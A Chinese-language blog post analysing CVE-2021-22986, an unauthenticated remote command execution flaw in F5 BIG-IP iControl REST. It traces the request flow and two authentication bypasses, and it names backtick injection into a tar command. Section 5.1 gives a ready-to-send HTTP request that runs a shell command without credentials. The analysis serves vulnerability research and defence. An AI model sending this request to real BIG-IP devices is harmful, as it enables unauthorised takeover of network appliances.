Lucifaer's Blog.

F5 BIG-IP iControl REST未授权远程命令执行漏洞分析(CVE-2021-22986)

Word count: 2,271 / Reading time: 9 min
2021/04/02 Share

最近洞比较多,很难抽出时间整理,这边先整理完一篇,其他洞慢慢补。

ps:感觉今年的趋势就是pre auth + 命令执行/文件上传/代码执行啊…

0x01 漏洞概述

F5 BIG-IP在今年3月补丁日中修复了CVE-2021-22986,未经身份验证的攻击者可以向iControl REST发送精心构造的恶意请求,最终在目标服务器上执行任意命令。

0x02 环境配置

F5 BIG-IP官方提供了对应版本的Virtual Edition版本,所以直接下载导入到vmware中即可。本篇所使用的漏洞版本为16.0.1,diff版本为16.0.1.1。(具体的步骤及操作可以参考这篇文章进行基础配置,完成F5 BIG-IP的启动)

2.1 允许ssh远连

可以根据这篇文章配置允许ssh远连,这里推荐直接用tmsh来进行配置。

2.2 寻找具体服务

在F5 BIG-IP中,TMUIiControl REST是部署在不同的端口上的。我们可以看一下我们访问的443端口的服务是什么:

可以看到是由Apache httpd进行请求承接,并将请求转发到不同端口的服务上完成对应的处理。我们可以看一下httpd的配置文件,在/config/httpd/conf/httpd.conf

这里可以注意到两点:

  • AuthPAM开启,说明调用了httpd的某个.so文件进行预先的认证
  • 将所有向/mgmt发送的请求都转发到了http://localhost:8100/mgmt/

通过阅读官方文档,我们可以知道所有REST API的目录前缀都是含有mgmt的,所以可以看一下8100端口的服务及其进程信息是什么:

可以看到其classpath/usr/share/java/rest/目录。之后我们可以通过PID/proc/目录下查看进程信息:

这样也知道了进程运行目录为/var/service/restjavad

2.3 允许远程调试

根据2.2中找到的进程信息,我们直接到/var/service/restjavad目录,然后向运行文件中添加相关的jdwp配置:

这里看到运行文件为/etc/bigstart/scripts/restjavad,直接修改该文件即可:

当添加完jdwp配置后,还需要利用tmsh将jdwp监听端口8777开放出去,这里可以直接参考这篇文章。这里为了防止链接失效,截一个这篇文章的关键图:

2.4 导出分析代码

在2.2中已经进行了详细的叙述,直接把/usr/share/java/rest/下的代码导出就行了。如果遇到无法导出的问题,可能是由于/usr目录无写权限,重新挂载一下/usr即可:

1
mount -o remount w /usr

0x03 diff信息

3.1 ssrf

diff3

diff2

3.2 命令执行

0x04 漏洞分析

该漏洞可以分解为两部分:

  • 认证绕过
  • 命令执行端点

该漏洞有两种方式可以达成认证绕过:

  • 认证不完全导致绕过
  • ssrf获取token导致认证绕过

本文将使用动静态跟踪结合的方式,将两部分进行串流分析。

4.1 iControl REST处理逻辑

在开始分析认证绕过前,首先来分析一下程序执行流。

4.1.1 RestServerServlet

RestServerServlet是整个iControle REST的入口,首先看一下其service方法:

service方法中,可以获得以下几个信息:

  • RestServerServlet以异步执行,并注册了一个ReadListener
  • 在处理请求时,为每一个请求创建了一个RestOperation
  • 因为向RestOperation注册了一个RestRequestCompletion,后续逻辑将以回调的方式执行

由于是注册了ReadListener,所以我们直接跟进看com.f5.rest.app.RestServerServlet.ReadListenerImpl#onAllDataRead(具体原因可以看ReadListener官方文档):

跟进看一下com.f5.rest.common.RestOperationIdentifier#setIdentityFromAuthenticationData

这里会监测请求中是否包含相关认证,并将其设置到RestOperation中。注意这里涉及到两种身份设置方法,第一种是检测是否存在X-F5-Auth-Token,第二种是通过Basic认证来设置身份。其中setIdentityFromBasicAuth即为diff点:

setIdentityData中只会判断Basic头信息中是否存在username,当存在时,将userReference初始化为/mgmt/shared/authz/users/[username]

在完成设置后,便会执行completion.run()方法,即:

关键逻辑为com.f5.rest.common.RestServer#trySendInProcess

其中会根据请求端口来寻找相关的RestWorker,并执行OnRequest方法。这里因为是8100端口,其映射为RestServer对象:

findWorker()方法中,将以请求的路径为查询条件,匹配RestServerpathToWarkerMap。之后便会执行worker.onRequest()方法,在这里会将worker添加到RestServer.readyWorkerSet中。后面会以该Set为消费者队列,并执行各个worker。

4.1.2 RestServer

RestServer中主要工作是维护队列,并执行相关的worker。入口点为其构造方法:

这里明显为一个消费者,所以直接看callRestMethodHandler即可,一路向下跟进到callDerivedRestMethod方法:

这里即会调用对应worker的处理方法并完成对应的链调用。

4.2 认证绕过

该漏洞的重点是认证绕过这一部分,两种绕过方式采用了不同的思路,本篇主要分析第二种绕过方式,针对第一种方式只进行基础的分析,如果想要了解详情,可以阅读斗象的研究文章

4.2.1 认证不完全导致绕过

BIG-IP由两部分组成,首先是通过Apache httpd接收443的请求,并将请求转发给本地8100端口的Jetty服务,最终通过Jetty的servlet将不同的路由分发到不同的worker中,完成请求的处理。

而第一种利用方式正是利用了Jetty服务不会对通过httpd认证的请求进行二次认证的缺陷,导致了未认证的攻击者可以绕过认证访问任意worker,最终完成pre auth rce。

在2.2中,从httpd.conf中已经看到httpd在进行转发时启用了AuthPAM,其具体的.so文件为/usr/lib/httpd/modules/mod_auth_pam.so

用IDA分析一下逻辑:

httpd只查看请求中是否存在X-F5-Auth-Token,若存在,则直接将请求转发到Jetty进行后续处理。

在Jetty这端,首先会判断X-F5-Auth-Token是否为空,当设置为空时,对访问路径进行校验,但是这里不匹配任何一种情况。最终进入到else中。这里只会判断userReference是否为空,以及userReference是否为admin的userReference

回看userReference的生成过程(在com.f5.rest.common.RestOperationIdentifier#setIdentityFromBasicAuth):

可以发现这里的userReference就是默认admin的userReference

从而导致了绕过。

4.2.2 ssrf获取token导致认证绕过

在diff中可以明显的看到在com.f5.rest.workers.authn.AuthnWorker#onPost方法中增加了对loginReference.link的校验。在跟踪了代码逻辑后,可以发现这里存在一处ssrf。

可控输入点为:

向下看ssrf点:

这里state.loginReference.link是可控的。首先会new一个RestRequestCompletion,并将其封装到RestOperation中,最后向state.loginReference发起请求。注意到在RestRequestCompletion中存在completed()方法,其中会调用AuthnWorker.generateToken()方法生成一个token,跟进可以看到:

这里又新创建了一个RestOperation,其中的completed方法完成了token的映射及返回。具体的token生成在com.f5.rest.workers.AuthTokenWorker#generatePrimaryKey中:

调用栈为:

如果想要静态跟踪到token生成点的话,直接跟进RestRequestSender.sendPost()方法即可。

4.2.3 ssrf获取token总结

根据4.1中对处理逻辑的分析,想要找到获取token的点的话,只需要在所有的RestWorker子类中寻找符合以下两个条件的子类即可:

  • 存在onPost方法可以处理POST请求
  • onPost方法中可以控制执行流到RestOperation.complete()方法

由于F5采用了回调的方式完成执行流的构建,最终都会通过回调的逻辑执行RestRequestCompletion.completed()方法。

4.3 命令执行端点

命令执行端点主要是配合认证绕过最终达成远程pre auth rce的效果。

4.3.1 /mgmt/tm/util/bash

F5 BIG IP官方sdk中找到/mgmt/tm/util/bash可以直接执行命令:

4.3.2 /mgmt/tm/access/bundle-install-tasks

从diff中可以看到/mgmt/tm/access/bundle-install-tasks直接将可控参数与tar -xf拼接,直接执行命令。可以通过反引号直接执行命令。

0x05 漏洞利用

5.1 认证不完全导致绕过

第一种方法,可以直接构造如下的包,便可以直接执行命令:

1
2
3
4
5
6
7
8
9
10
11
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.59.7
Content-Type: application/json
X-F5-Auth-Token:
Authorization: Basic YWRtaW46
Content-Length: 52

{
"command": "run",
"utilCmdArgs": "-c id"
}

5.2 ssrf获取token

参考4.2.3的总结,寻找相应获取token的端点,然后配合X-F5-Auth-Token头向命令执行端点发送请求即可。

0x06 Reference

斗象的研究文章
F5 BIG-IP官方下载链接
Deploying BIG-IP Virtual Edition in ESXi
Specify allowable IP ranges for SSH access
m01e对于F5的漏洞配置文章
ReadListener官方文档
F5 BIG IP官方sdk

CATALOG
  1. 1. 0x01 漏洞概述
  2. 2. 0x02 环境配置
    1. 2.1. 2.1 允许ssh远连
    2. 2.2. 2.2 寻找具体服务
    3. 2.3. 2.3 允许远程调试
    4. 2.4. 2.4 导出分析代码
  3. 3. 0x03 diff信息
    1. 3.1. 3.1 ssrf
    2. 3.2. 3.2 命令执行
  4. 4. 0x04 漏洞分析
    1. 4.1. 4.1 iControl REST处理逻辑
      1. 4.1.1. 4.1.1 RestServerServlet
      2. 4.1.2. 4.1.2 RestServer
    2. 4.2. 4.2 认证绕过
      1. 4.2.1. 4.2.1 认证不完全导致绕过
      2. 4.2.2. 4.2.2 ssrf获取token导致认证绕过
      3. 4.2.3. 4.2.3 ssrf获取token总结
    3. 4.3. 4.3 命令执行端点
      1. 4.3.1. 4.3.1 /mgmt/tm/util/bash
      2. 4.3.2. 4.3.2 /mgmt/tm/access/bundle-install-tasks
  5. 5. 0x05 漏洞利用
    1. 5.1. 5.1 认证不完全导致绕过
    2. 5.2. 5.2 ssrf获取token
  6. 6. 0x06 Reference